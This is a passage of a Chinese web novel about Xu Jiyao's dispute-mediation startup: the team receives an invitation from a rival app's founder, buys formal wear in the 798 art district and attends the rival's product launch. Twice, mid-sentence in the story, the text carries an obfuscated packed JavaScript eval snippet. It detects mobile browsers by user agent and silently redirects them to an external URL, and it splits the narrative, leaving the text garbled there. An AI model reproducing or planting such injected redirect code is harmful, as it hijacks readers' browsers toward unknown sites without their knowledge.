吴小糖赶紧点头,乖巧地跑过来。 “对对对,阿姨,是我!” “你也住在这儿?” 吴小糖愣了一下,脑子里飞快转了一圈,然后赶紧点头。 “对对对!我住在这儿,我是睡沙发上!俞老师有时候也住工作室!” 何久红看了看那张沙发,又窄又旧,坐上去都会咯吱响的那种。 “这么小的沙发,能睡人吗?” 吴小糖笑得一脸灿烂。 “能能能!我年轻,睡哪儿都行!沙发挺好的,软和!” 何久红点点头。 她顿了顿。 “俞老师在这儿,我放心。” 她又看了看应宽和徐寄遥。 推开门,走了出去。 门关上之后,屋里安静了几秒。 然后吴小糖长出一口气,整个人瘫在椅子上。 “妈呀,吓死我了……” / 徐寄遥站在窗边,看着何久红上了车。 徐士朋从车里探出头,往楼上看了看。 隔着玻璃窗,她看不清他的表情。但她知道,他在看着她。 那个沉默了一辈子的男人,用这种方式告诉她:爸爸在。 车缓缓开走了。 俞彩虹走过来。 “你妈今天,算是有进步。” 徐寄遥没有说话。 俞彩虹继续说: “至少她愿意听别人说话了,以前估计是不听的,这种性格的人,对外人总是客气的,对家里人反而最狠。” 徐寄遥点点头。 “谢谢你,俞老师。” 俞彩虹摇摇头。 “没事。” 吴小糖凑过来,一脸求表扬的表情。 “寄遥姐,我刚才演得像不像?” 徐寄遥看着她。 “你演什么?” 吴小糖嘿嘿一笑。 “我说我住这儿啊!虽然我不是每天住工作室,可是我怕你妈又纠结什么男女共处一室,就骗她说我住这儿,三人共处一室总没问题了吧!” “怎么样?演技可以吧?” 徐寄遥愣了一下。 然后她笑了,“嗐,那谢谢你啊。” 吴小糖摆摆手,大大咧咧地说: “不用谢!为了你,演个戏算什么!再说了,我也确实经常在这儿睡,也不算完全撒谎!” 应宽也走过来,站在窗户边,大口大口呼吸空气。 “嗐,你妈可真厉害……” 徐寄遥看着他。 “你别往心里去。” 应宽摇摇头。 “没什么啊。” 两个人站在窗边,看着外面的街道。 吴小糖在后面偷偷笑。 俞彩虹也笑了。 阳光照进来,落在每个人身上。 27.友商的邀请函 2025年4月20日,上午九点。 快递员敲门的时候,吴小糖正在吃早餐。她打开门,接过一个精致的信封,翻来覆去看了两眼。 “寄遥姐,你的快递,好高级的纸。” 徐寄遥接过来,只看了一眼封面,眉头就微微皱起。 信封是烫金色的,上面印着“和解大师APP 2.0发布会”的字样,右下角还有一个浮雕logo:两只手轻轻握在一起。 那烫金的工艺很讲究,手指摸上去能感觉到微微凸起的纹路,像是某种定制的特种纸。 和解大师。 徐寄遥盯着那个logo看了几秒。 这个名字,这三个月来,已经无数次出现在他们的视线里。 陈树昌那件事里,有它。刘小燕被网暴的那次,有它。罗贝妮的案子里,还是有它。 每一次,它都躲在暗处,像一只藏在阴影里的手,轻轻拨弄着那些受害者的命运。 她拆开信封。 里面是一张对折的烫金色卡片。 翻开后,左边印着和解大师的logo和一行小字“让每一个家庭都和解”;右边是正文,用优雅的楷体印刷: 【徐寄遥小姐:】 【您好!】 【我是杨亚波,和解大师APP的创始人。】 【诚邀您参加“和解大师APP 2.0发布会”,届时我们将展示最新的产品功能,分享我们的和解理念。】 【您作为代吵APP的创始人,在社会及家庭纠纷调解领域有着卓越的贡献。您的理念和实践,一直是我们关注和学习的对象。我们非常希望能与您交流,共同为用户提供更好的服务。】 【期待您的到来!】 【时间:2025年4月23日下午2点】 【地点:北京国贸三期酒店B1宴会厅】 【特邀嘉宾:】 【- 红杉资本中国基金合伙人沈楠屏】 【- IDG资本合伙人周权得】 【- 真格基金创始人徐晓坪】 【- 经纬中国合伙人章颖】 【-《中国企业家》杂志社社长何震宏】 【- 36氪CEO 冯达冈】 【- ……】 【随信附上电子入场凭证,请您届时出示。】 【杨亚波敬上】 【2025年4月18日】 卡片右下角,是杨亚波的亲笔签名。 字迹流畅有力,笔画之间有一种刻意练习过的优雅。 签名下方还有一行手写的字:期待与您面对面交流。 徐寄遥盯着那行手写字,沉默了几秒。 “手写的。”她说。 应宽从电脑前抬起头,走过来看了一眼。 “这种场合,能让创始人亲笔签名的邀请函,应该不多。” 徐寄遥点点头。 “我知道。” / 十分钟后,四个人围坐在茶几边。 邀请函放在中间,烫金色的封面在阳光下闪闪发光。窗外偶尔传来几声鸟叫,是北京四月里难得的晴天。 徐寄遥先开口:“和解大师要升级到2.0了,这个规模,应该是大动作。” 俞彩虹点点头:“他们之前那些功能,我们已经见识过了。” 她掰着手指头数: “陈树昌买的那个PUA教程,‘职场管理技巧’‘员工控制方法’‘如何让员工更听话’,三门课,两万三千块,都是从和解大师上买的。” “刘小燕被网暴那次,那些攻击她的帖子用的是和解大师的‘危机公关’服务,他们帮陈树昌写稿、配图、发帖、带节奏,一条龙服务。” “还有罗贝妮的案子。张凌烽是和解大师的特约专家,在上面写专栏,一边写互相理解,一边用水军攻击罗老师。” 吴小糖听得直皱眉:“这么一说,咱们这几个案子,全都有他们的影子?” 应宽推了推眼镜:“对,而且不只是影子,是实打实的参与。” 他顿了顿。 “他们不是单纯做个APP,是在做一条产业链。” 俞彩虹补充道:“而且覆盖得很全,线上课程、专家专栏、一对一咨询、危机公关、职场推荐,几乎把能赚钱的点都占了。” 徐寄遥听着,没有说话。 她想起罗贝妮走之前说的那句话:“我以为学术圈是追求真理的地方,后来才知道,也是生意。” 现在看,和解大师把这门生意,做得很大。 / 应宽打开电脑,调出一份资料。 “我整理了和解大师现在的数据。” 他把屏幕转向大家,上面是一张密密麻麻的表格: 用户量:500万+ 日活跃用户:80万 融资轮次:A轮、B轮、C轮,累计融资额约5亿 最新估值:20亿 月收入:约2000万 主要收入来源: - 基础调解服务:99-999元/次 - 线上课程:199-1999元/套 - 专家专栏订阅:29元/月 - 一对一咨询:800-2000元/小时 吴小糖看得眼睛都直了。 “20亿?一个月2000万?” 应宽点点头:“这还是保守估计。,他们的专家专栏,订阅用户据说有50万,光这一项,一个月就是1500万。” 俞彩虹叹了口气:“他们走的是资本路线,砸钱买流量,快速扩张,然后上市套现,这种模式,我们比不了。” 徐寄遥沉默了几秒。 “那他们的2.0,会做什么?” 应宽想了想:“从技术角度,大概率是全面接入AI。” “AI?” “对,”应宽说,“他们现在的调解方案,已经有AI辅助生成的成分,2.0应该会更彻底,用户上传问题,AI快速给出解决方案,这样可以处理更多订单,提高日活。” 他顿了顿。 “AI处理简单问题,人工处理复杂问题,这样人工服务的收费反而可以更高,因为有差异化。” 俞彩虹点点头:“看来他们2.0的核心,是效率。” 徐寄遥说:“用AI解决80%的简单问题,人工专注那20%的复杂案例,这样利润空间就出来了。” 应宽点头:“AI服务可以无限复制,边际成本几乎为零。” / 吴小糖忽然指着邀请函上的名单。 “寄遥姐,你看这些投资人!” 她把邀请函翻到背面,那一串名字密密麻麻: 红杉资本、IDG资本、真格基金、经纬中国……每一个都是国内顶级的投资机构。 “这些人,平时接触不到吧?”吴小糖说。 俞彩虹点点头:“红杉的沈楠屏,IDG的周权得,真格徐晓坪,这些人平时约都约不上,他们能来,说明和解大师这次发布会的规格确实高。” 应宽说:“《中国企业家》、36氪,都是科技圈的头部媒体。” 徐寄遥看着那些名字,沉默了几秒。 俞彩虹问:“寄遥,你在想什么?” 徐寄遥说:“我在想,这也是个机会。” “机会?” “我们一直想融资,但找不到好的渠道,这些投资人,平时发邮件都不回,更别说见面了,”她顿了顿,“这次,跟他们在同一个场合。” 应宽明白了。 “你想借这个机会,接触他们?” 徐寄遥点点头。 “试试呗,但是那种场合,也不一定能说上话,争取混个脸熟,让他们知道,除了和解大师,还有一个代吵师。” 俞彩虹笑了。 “这个思路对,资本圈就是这样,见一面,聊几句,可能就打开了一扇门。” 吴小糖兴奋起来:“那寄遥姐,你要穿得漂亮一点!要给投资人留个好印象!” 徐寄遥被她逗笑了。 “又不是去相亲。” 吴小糖认真地说:“比相亲还重要!相亲最多嫁个人,融资能救公司!” / 俞彩虹问:“杨亚波这个人,你们了解多少?” 应宽切换了页面。 “我查了一下他的资料,公开信息很全,他的履历做得特别漂亮。” 屏幕上是一份详细的履历: 【杨亚波,35岁,伯牙科技创始人兼CEO】 教育背景: - 北京大学心理学本科(2008-2012) - 清华大学MBA(2015-2017) 职业经历: - 2012-2015年:字节跳动产品经理,参与早期产品研发 - 2015-2018年:创立“心聆”心理咨询机构,后被收购 - 2018-2022年:真格基金投资合伙人,专注教育心理学赛道 - 2022年至今:创立伯牙科技,推出“和解大师”APP 商业版图: - 伯牙科技旗下6家全资子公司,涉及心理咨询、教育培训、文化传媒、数据服务 - 投资3家MCN机构,掌握约2000个自媒体账号 - 与12所高校合作建立“心理学研究基地” - 2024年在新加坡设立海外分公司,开始布局东南亚市场 所获荣誉: - “2024年度创业人物”(《中国企业家》) - “互联网心理学先驱”(《第一财经》) - “最懂年轻人的企业家”(36氪) - “年度影响力人物”(新浪财经) 个人标签: - 擅长演讲,被称为“最会说话的创业者” - 精通心理学话术,善于把控他人情绪 - 喜欢在媒体上分享“原生家庭疗愈”理念 - 多次公开表示“要帮助一亿人实现家庭和解” 吴小糖看得一愣一愣的。 “北大、清华、字节、真格基金……这人怎么什么都干过?” 俞彩虹笑了:“典型的精英路径,每一步都踩在点上,每一步都能拿到最好的资源。” 应宽补充:“他很会包装自己,你们看这些报道,每一篇都在强调他的‘心理学背景’‘创业经历’‘成功案例’,普通人看了,很容易相信他。” 徐寄遥盯着屏幕上那张照片。 照片里的男人穿着深灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280575|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色西装,戴着金边眼镜,笑得一脸温和。那笑容很得体,恰到好处,让人挑不出任何毛病。 但徐寄遥总觉得,那笑容背后,藏着什么东西。 / “寄遥,”俞彩虹问,“你觉得他为什么要邀请我们?” 徐寄遥想了想。 “想不到。” 应宽说:“我去看了他最近几次的采访。他一直强调‘和解大师要做行业第一’,‘未来一年要占领80%的市场’,这个人野心很大。” 俞彩虹点点头:“所以他邀请我们,很可能是想摸我们的底。” 徐寄遥没有说话。 应宽想了想。 “我觉得应该去。” “不去,反而显得我们露怯,去了,至少可以看看杨亚波到底想干什么,”他顿了顿,“我去看看,还可以分析他们的新功能,看看他们技术上有没有什么猫腻。” 徐寄遥点点头。 “我也是这么想的。” / 徐寄遥转向应宽:“应宽,你有正装吗?” 应宽愣了一下。 “正装?” 他低头看了看自己,灰色连帽卫衣,外面套着一件深蓝色的薄款冲锋衣。 “没有西装那种……” 徐寄遥笑了。 “我就知道,明天我带你去买一套西装。” 应宽愣住了。 “买西装?” 徐寄遥点点头。 “西装衬衫皮鞋,都得配齐。” 应宽连忙摆手。 “不用不用,我自己买就行……” 徐寄遥看着他。 “应宽,这三个月,你一天假都没休过,服务器稳定是你维护的,那些技术难题是你解决的,你为公司做了多少,我心里有数。” 应宽的耳朵尖慢慢红了。 “那是……应该的……” 徐寄遥拍拍他的肩膀。 “这套衣服,公司出,别跟我客气。” 应宽张了张嘴,没说出话来。 / 过了一会儿,应宽找了个借口,把徐寄遥叫到阳台。 北京的四月,阳台上还有点儿凉。应宽站在风口,把外套裹紧了一点。 “寄遥。” 徐寄遥看着他。 应宽的声音压得很低,怕屋里的人听见。 “你别勉强,西装,我自己买也行。” 徐寄遥看着他,沉默了几秒。 然后她笑了。 那笑容很淡,但很真。 “应宽,三个月前,我确实焦虑,欠银行的钱,服务器的费用,工资发不出的压力,每天晚上都睡不着。” 她顿了顿。 “现在不一样了。” 应宽看着她。 “现在有2000单日活,有那么多用户,还有你们,”徐寄遥说,“就算还没开始收费,我也知道,这条路走得通。” 她看着远处的天空。 “不就是欠银行30万吗,会还上的,用不了多久。” 应宽没有说话。 / 两个人回到客厅,吴小糖正凑在俞彩虹旁边看什么。 看到他们进来,吴小糖立刻举手。 “寄遥姐!明天逛街我也要去!” 徐寄遥看着她。 “你去干什么?” 吴小糖理直气壮。 “我力气大!可以帮你们拿东西!而且我还没跟寄遥姐逛过街呢!” 应宽看了她一眼,没说话。 吴小糖继续说。 “我就想跟寄遥姐一起逛街嘛!平时那么忙,好不容易有机会!” 徐寄遥想了想,点点头。 “行,你想去就去吧。” 吴小糖眼睛亮了。 “真的?!” “真的!但别捣乱。” 吴小糖使劲点头。 “不捣乱不捣乱!我就跟着!” 俞彩虹在旁边笑。 / 晚上,应宽坐在电脑前,继续看杨亚波的资料。 屏幕上,是他最近一次接受采访的视频。 “和解不是妥协,是理解,”杨亚波对着镜头说,语气温和,目光诚恳,“我们的使命,是让每一个家庭,都能拥有和解。” 评论区一片叫好。 “杨总说得太好了!” “和解大师真的帮了我很多!” “支持杨总!” 应宽一条一条往下翻,眉头微微皱起。 徐寄遥走过来,站在他旁边。 “还在看?” 应宽点点头。 “这个人,真的很会说话。” 徐寄遥看着屏幕上那张温和的笑脸。 “是啊。” 她顿了顿。 “越会说话的人,越要小心。” 应宽转过头,看着她。 “你担心他?” 徐寄遥想了想。 “不担心,只是好奇。” 她看着窗外的夜色。 “一个能把生意做到20亿的人,想见我,我总不能躲着。” 应宽点点头。 “明天去买衣服吧。” 徐寄遥笑了。 “好。” 28.置装 4月21日,早上八点半。 三个人站在工作室门口。 北京四月的早晨,阳光很好,但风还有点凉。 徐寄遥穿着一件咖啡色工装外套,头发长度到脖子,看起来干练又清爽。 吴小糖背着一个大双肩包,里面塞满了各种可能用上的东西:纸巾、充电宝、水杯、折叠伞、镜子、化妆品、小零食,活像一个移动的杂货铺。 应宽站在旁边,还是那身灰色卫衣加冲锋衣加工装裤。 吴小糖上下打量他两眼,忍不住笑。 “应宽哥,你头发比寄遥姐还长!” 应宽笑了笑。 他头发确实有点长了。 上次理发还是三个月前。 现在刘海垂下来遮住了半边眉毛,风一吹就往后飘,露出一张轮廓分明的脸。 他不是那种不修边幅的人。 衣服整洁,鞋子干净,只是懒得在这些琐事上花时间。去理发店要排队,排队的时间够他写两百行代码。 头发长点就长点,反正又不影响敲键盘。 徐寄遥也笑了。 三个人出了门,往地铁站走去。 吴小糖叽叽喳喳说个不停,应宽偶尔应一两句。 徐寄遥走在前面,嘴角一直带着淡淡的笑。 阳光洒在他们身上,把影子拉得很长。 / 三个人从地铁站出来的时候,引来了不少目光。 徐寄遥一米七,吴小糖一米七五,应宽一米八五。 三个人并排走着,像三座移动的小山,把身后的阳光都挡住了。 吴小糖今天特意穿了双有点跟的靴子,走起路来咚咚响。 “寄遥姐,咱们这是要去哪儿啊?” 徐寄遥看着手机上的地址。 “798那边,一个设计师的工作室,主理人以前在独立设计师圈子里挺有名的,后来自己开了工作室,我上周在网上看到他发的作品,觉得风格挺适合咱们。” 应宽跟在她旁边,没说话。 / 798艺术区很安静。 四月的工作日,游客不多,偶尔有几个背着相机的文艺青年经过。 路边的咖啡馆门口坐着几个人,晒太阳聊天。墙上的涂鸦斑驳陆离,在阳光下显得格外鲜艳。 三个人七拐八绕,找到一间藏在巷子深处的工作室。 门面不大,玻璃门上贴着一行小字:设计师品牌·一隅。 推门进去,里面别有洞天。 墙上挂着各种样衣,架子上摆着面料样本,角落里还有一台老式缝纫机。空气里飘着淡淡的布料味道,混着一点檀香。 一个三十来岁的男人迎上来。 他穿着件宽松的棉麻衬衫,戴一副玳瑁圆框眼镜,头发微卷,看起来很有艺术家的气质。 “徐小姐?” 徐寄遥点点头。 “我是,约了今天看衣服。” 男人笑着回应: “欢迎欢迎,我是郭凯。” 他打量了一下三个人,眼睛亮了。 “你们三个这身高……走在一起很有气势啊。” 吴小糖得意地挺了挺胸。 她走热了脱了外套,里面是健身穿的紧身T恤,手臂上的肌肉线条若隐若现。 郭凯看了一眼,笑了。 “这位美女一看就是专业的,肌肉线条很好。” 吴小糖被夸得不好意思,挠了挠头。 郭凯转向应宽。 “是这位先生……” 应宽点点头。 “我要参加一个社交活动,需要一套正装。” 郭凯上下打量他几眼,目光在他那头有点长的头发上停了停。 “个子高,肩宽,穿西装好看,头发有点长,但正好,可以做个造型。” 应宽没说话。 徐寄遥问:“郭老师,我们今天想看看您这边有没有合适的成品,如果有不合身的地方,您能帮忙改吗?” 郭凯点点头。 “当然,我这儿的衣服都是我自己设计的,面料也都是挑过的,不搞批量生产,每一件都经得起细看,价格嘛,比那些大牌便宜不少,但品质不输。” 他走到衣架前,开始翻找。 “我看看……你这身高,我这应该有合适的,上周刚做了一批新货,正好有几件。” / 接下来的一个多小时,应宽被郭凯和徐寄遥摆布着试了一套又一套。 第一套是深灰色格纹的,版型偏英伦风。 应宽穿上站在镜子前,郭凯皱起了眉头。 “不行,太老气了,你穿这个像四十岁的基金经理。” 第二套是纯黑色的,剪裁很修身。 应宽穿上,转身给他们看。 吴小糖在旁边点评:“像保镖。” 第三套是藏青色的,双排扣,有点复古的味道。 郭凯看了看,摇摇头。 “这个版型不太适合你,你肩宽,穿双排扣显得太壮了。” 应宽站在镜子前,像个木偶一样被指挥着换衣服、转身、抬手。 他头发长,每次试衣服都要拨一下,没一会儿就乱了。 吴小糖坐在旁边的沙发上,一边喝着郭凯泡的茶,一边看热闹。 “应宽哥,你穿那套灰色的好看!” 应宽顾不上理。 郭凯又拿了一套过来。 “试试这个,深蓝色,羊毛混纺,版型偏年轻,你个子高,穿这个显气质。” 应宽接过去,换上。 走出来的时候,吴小糖的茶差点洒了。 深蓝色西装,剪裁利落,衬得他整个人英气了不少。 肩线恰到好处,腰身微微收拢,把身材的优势全显出来了。 只是头发又垂下来了,遮住了半边脸。他抬手拨了一下,没一会儿又垂下来。 郭凯在旁边看着,忽然想起什么。 “你等一下。” 他走到角落,从一堆饰品里翻找了一阵。 那里摆着各种小东西,领带夹、袖扣、胸针、发箍,零零散散堆在一个藤编篮子里。 郭凯翻了几下,走回应宽面前,手一抬,把一个东西戴到了应宽头上。 一个黑色的发箍。款式很简单,就是一根细细的黑色金属,宽齿的,两端有防滑的橡胶。男女都可戴的那种。 应宽愣住了。 吴小糖噗嗤一声笑出来。 “应宽哥!你戴发箍!” 应宽下意识想摘下来。 郭凯按住他的手:“别摘,你自己看看。” 他拉着应宽走到镜子前。 镜子里,应宽穿着深蓝西装,头发被发箍拢到后面,露出一张干净的脸。 平时被刘海遮住的眉眼,此刻清晰起来。 眉骨很高,眼睛很亮,鼻梁挺直。 他愣了一下。 镜子里那个人,好像不太像自己。 郭凯在旁边说:“出席正式场合,头发还是要打理一下,发箍是个不错的选择,比发胶自然,也比发胶舒服,这款是哑光黑,男女都能戴,平时也可以用。” 应宽看着镜子,没有说话。 徐寄遥走过来,站在他旁边。 两个人并排站在镜子里。 一米七和一米八五,一个穿工装外套,一个穿深蓝西装。 一个短发干练,一个长发束起。 徐寄遥看着镜子,点了点头。 “这套很适合你。” 应宽看着镜子里的人,愣了几秒。 “这……这是我?” 徐寄遥笑了。 “是你。” 吴小糖在旁边起哄。 “哇塞!我去!应宽哥,你这样子可以走红毯啦!都帅成啥样了啊!” 应宽的耳朵尖慢慢红了。 他又抬手想把发箍摘下来,郭凯拦住了他。 “别摘,这个送你,戴上显得精神,你这头发,不戴发箍的话,一低头就遮脸,拍照不好看。” 应宽看了看镜子,手放了下来。 / 给应宽挑完衣服,郭凯转向徐寄遥。 “徐小姐,你要不要也看看?我家的女装跟你的气质应该很合。” 徐寄遥想了想,点点头。 “看看吧。” 郭凯带她走到另一边,指着几件样衣。 “这几件都是我这季的新款,你的气质适合这样简约大方的款。” 徐寄遥看了一圈,挑了一件黑色的连衣裙。 剪裁很简单,没什么装饰,但线条很利落。圆领,露出锁骨,长袖,高腰,小皱褶,裙摆及踝,整体看起来干练又不失柔和。 “我试试这件。” 她进了试衣间。 应宽站在外面,看着那扇关上的门。 吴小糖凑过来。 “寄遥姐穿裙子肯定好看,她平时都穿裤子,我都快忘了她还有腿。” 应宽看了她一眼。 吴小糖嘿嘿笑。 五分钟后,门开了。 徐寄遥走出来。 黑色连衣裙,剪裁合身,衬得她整个人干练又优雅。 应宽愣住了。 吴小糖也愣住了。 郭凯在旁边笑着说: “这件太适合你了!我就说你适合简约的款,太花哨会压气质!” 徐寄遥站在镜子前,看了看自己。 “还行。” 她转过身,看了看背后的剪裁。 “腰这里会不会有点紧?” 郭凯走过来看了看。 “有一点点,这个可以改,五分钟就好,你要是喜欢这件,我帮你收一下腰。” 徐寄遥点点头。 “好。” 她转向应宽。 “应宽,小糖,你们觉得呢?” 应宽张了张嘴。 “好看……” 吴小糖表情坚定: “巨好看!美死了!” 徐寄遥笑了。 “那就这件吧。” 郭凯接过衣服,拿去后面改。 缝纫机的声音从里间传来,哒哒哒的,很有节奏。 / 等衣服改好的间隙,三人在工作室里随便看看。 吴小糖对那些饰品很感兴趣,一件一件拿起来看。 领带夹、袖扣、胸针,在她手里翻来覆去。 “这个好看吗?这个呢?” 郭凯从里间出来,看到她在那儿翻,笑了。 “你这身材,穿什么都好看。” 吴小糖挠挠头。 “我?我就不用了,我就是来当搬运工的。” 徐寄遥在旁边说:“小糖,你也选一件吧,平时穿也行。” 吴小糖眼睛亮了。 “真的?” 徐寄遥点点头。 “真的,算公司福利。” 吴小糖立刻转向郭凯,眼睛放光。 “郭老师,有没有适合我的外套?我要那种……那种看起来很帅气的!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282822|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郭凯笑了。 “有,你等着。” 他走到另一排衣架前,翻出一件军绿色的工装风外套。 剪裁宽松,面料挺括,肩膀上还有几个装饰性的扣子。 “这个适合你,你穿这个,走路上气场一绝。” 吴小糖接过来,套上试了试。 镜子里的她,穿着那件外套,整个人看起来又酷又飒。 她对着镜子握了握拳。 “好看!” / 衣服改好,结账。 徐寄遥算了一下,三件衣服加起来,比国贸一件西装还便宜。 郭凯把衣服仔细叠好,装进袋子里,又嘱咐了几句穿搭的注意事项。 “应先生,你穿这套西装,配白色衬衫就行,不用太花哨,领带可以选深蓝色的,和西装同色系,显得整体协调,或者不要领带,走松弛风,也适合你,皮鞋擦亮一点,最好是黑色的。” 应宽一一记下,像在记代码逻辑。 “徐小姐,你这件裙子可以配一条简单的项链,不要太夸张。” 徐寄遥点点头。 “谢谢郭老师。” 郭凯笑了。 “不客气,你们穿得好,就是给我打广告。” 从郭凯的工作室出来,阳光正好。 三个人走在798的巷子里,拎着大包小包。 阳光把他们的影子拉得很长,三个高挑的身影并排走着,路过的人都忍不住多看两眼。 / 地铁四号线,下午两点多,人不算多。 三个人站在车厢里,拎着大包小包,引来不少目光。 一个老大爷盯着他们看了半天,问旁边的老伴:“这是模特吧?” 老伴摇摇头:“不知道,个子真高。” 吴小糖听到了,捂着嘴笑。 应宽站在旁边,还是那副面无表情的样子。但仔细看,他嘴角微微上扬了一点。 徐寄遥靠在车厢边,看着窗外掠过的景象。 地铁隧道里的灯光一闪一闪,把她的脸照得忽明忽暗。 吴小糖站在她旁边,忽然说: “寄遥姐,我今天特别开心。” 徐寄遥转过头,看着她。 “为什么?” 吴小糖说:“因为我终于跟你一起逛街了!我一直想跟你逛街,你平时太忙了。” 徐寄遥笑了。 “以后有机会,多陪你逛。” 吴小糖眼睛亮了。 “真的?!” “真的。” 吴小糖高兴得差点蹦起来。 应宽站在旁边,看着她们,嘴角微微上扬。 阳光从车窗照进来,落在三个人身上。 车厢轻轻晃动着,往下一站开去。 / 三个人顺路去了小区附近的超市。 超市里,吴小糖推着购物车,一路小跑。 “应宽哥,买什么菜?” 应宽跟在她后面,一样一样往车里放。 “排骨、基围虾、鸡肉、玉米、胡萝卜、土豆、青菜、西红柿、鸡蛋……” 吴小糖看着那堆东西,挠挠头。 “这要做什么?” 应宽说:“排骨汤,炒青菜,椒盐基围虾,宫保鸡丁,红烧土豆、西红柿炒蛋。” 吴小糖欢呼起来。 徐寄遥跟在后面,看着他们两个,脸上带着淡淡的笑。 结账的时候,应宽抢着付钱。 徐寄遥拦他。 “我来。” 应宽摇摇头。 “这顿我请,庆祝……庆祝我有正装了。” 徐寄遥看着他,笑了。 “好,你请。” / 晚上六点,三个人回到工作室。 俞彩虹没回去,正在沙发上看书,看到他们拎着大包小包进来,笑了。 “收获不小啊。” 吴小糖把袋子往地上一放,累得直喘气。 “俞老师,你不知道,我今天当了一天的搬运工!还当了一天的观众!应宽哥试衣服试了一个多小时!” 俞彩虹笑她。 “不是你非要去的吗?” 吴小糖瘪瘪嘴。 “那我也没想到试衣服要试那么久啊……” 应宽拎着菜进了厨房,很快传来洗菜切菜的声音。 吴小糖凑到厨房门口,往里张望。 “应宽哥,要不要帮忙?” 应宽头也不回。 “不用。” 吴小糖就趴在门口看。 徐寄遥把新买的衣服挂好,走回客厅。 俞彩虹看着她。 “今天怎么样?” 徐寄遥想了想。 “挺好的。” 俞彩虹笑了。 “那就好。” / 七点半,饭菜上桌。 五菜一汤,热气腾腾,香味飘满了整个工作室。 吴小糖早就拿着筷子等着了。 “开动开动!” 四个人围坐在餐桌边,开始吃饭。 吴小糖一边吃一边夸。 “应宽哥,你手艺太好了!这椒盐基围虾绝了!比外面的还好吃!” 应宽没说话,低头吃饭。 俞彩虹也点点头。 “确实不错。” 徐寄遥喝着汤,也笑着点头。 应宽低着头,耳朵尖有点红。 窗外,夜色渐深。工作室里,灯光温暖。 29.友商发布会 2025年4月23日,下午一点。 国贸三期酒店门口,豪车络绎不绝。 应宽从网约车里下来,整了整西装领口。 深蓝色西装剪裁合身,黑色皮鞋擦得锃亮,那个黑色发箍把头发拢到后面,露出一整张脸。 他站在旋转门前,整个人看起来和平时判若两人。 徐寄遥走在他旁边,黑色连衣裙,脖子上一条简单的金色细链。 两个人走进酒店大堂,电梯直达B1宴会厅。 电梯里,应宽看着镜面里的自己,忽然笑了。 “寄遥,我这样会不会太正式了?” 徐寄遥看了他一眼。 “不会,刚刚好。” 应宽点点头。 电梯门打开,嘈杂的人声扑面而来。 / 宴会厅很大,至少能容纳五百人。 此时已经来了大半,三五成群地聚在一起聊天。 穿着旗袍的礼仪小姐端着托盘穿梭其间,托盘上是香槟和高脚杯。 徐寄遥扫了一眼。 前排摆着一排排座椅,每个椅背上都贴着名牌。红杉资本、IDG资本、真格基金、经纬中国……那些熟悉的名字在灯光下闪闪发光。 更远处是媒体区,十几台摄像机已经架好,摄影师们正在调试设备。 应宽的目光在那排投资人座位上停留了几秒。 “都是圈里的人。”他轻声说。 徐寄遥点点头。 两个人在靠走廊的位置找到了贴着“代吵APP”的座位坐下,观察着周围的一切。 应宽的目光落在舞台两侧的巨大屏幕上。 和解大师的logo正在循环播放,下面是一行字:让每一个家庭,都能拥有和解。 他盯着那几个字看了几秒,没有说话。 徐寄遥轻声问:“在想什么?” 应宽收回目光。 “在想他们这个slogan,‘让每一个家庭都能拥有和解’,听起来很美好。” 徐寄遥点点头。 “嗯,关键看谁在定义‘和解’。” / 下午两点,灯光渐暗。 舞台上,巨大的LED屏幕亮起,和解大师的logo缓缓浮现。 背景音乐响起,是那种能调动情绪的激昂旋律,有点像电影预告片里的配乐。 所有人都安静下来,目光投向舞台。 然后,一个身影从舞台侧面走出来。 杨亚波。 他大概在一米八左右,穿着一件深灰色的羊绒衫,V领,质地看起来极其柔软。 下面是黑色的休闲裤,裤线笔挺,脚上一双棕色的乐福鞋,鞋面擦得锃亮,能照出人影。 长相颇为英俊,五官深刻,没有一丝皱纹。鼻梁上架着一副黑色细框眼镜,镜片后面的眼睛很温和,嘴角带着淡淡的微笑。 整个人看起来松弛、自在,像是刚从自家书房走出来,而不是站在几百人面前。 应宽眯了眯眼睛。 “寄遥,你看他手上。” 徐寄遥的目光落在杨亚波的左手腕上。 一块表。表盘简洁,皮表带,看起来很普通。 “百达翡丽,”他轻声说,“那块表,够我们交几年房租的。” 徐寄遥没有说话。 杨亚波走到舞台中央,双手插在裤兜里,微微歪了歪头,看向台下。 “大家好,我是杨亚波。” 声音很温和,但有一种穿透力,让整个宴会厅瞬间安静下来。 台下掌声雷动。 / 杨亚波等掌声稍微平息,把手从裤兜里抽出来,轻轻摆了摆。 他的目光扫过台下。 “很多人问我,杨亚波,你今天穿成这样,是不是太随便了?发布会不应该穿西装打领带吗?” 他顿了顿,摊开双手。 “我觉得,‘和解’这件事,本来就不应该是西装革履的。和解,应该是放松的,是自然的,是回到家脱下外套之后的那种状态。” 台下有人笑了。 杨亚波也笑了。 “所以今天,我就穿着我最舒服的衣服来了,希望大家也能放松一点,把这当成一次朋友间的聚会,而不是什么正式场合。” 应宽小声说:“这个人,很会说话。” 徐寄遥点点头。 / 杨亚波开始在台上踱步,走得很慢,像是在自家客厅里散步。 “今天,我很高兴能和大家分享‘和解大师’APP的2.0版本。” 他的声音不疾不徐。 “在过去的一年里,和解大师APP从0到500万用户,从默默无闻到估值20亿,很多人问我,杨亚波,你们是怎么做到的?” 他停下来,看着台下。 “其实没什么秘诀,就是做对了三件事。” 他伸出第一根手指。 “第一,我们真正理解了用户的痛点。” 他的声音变得深沉。 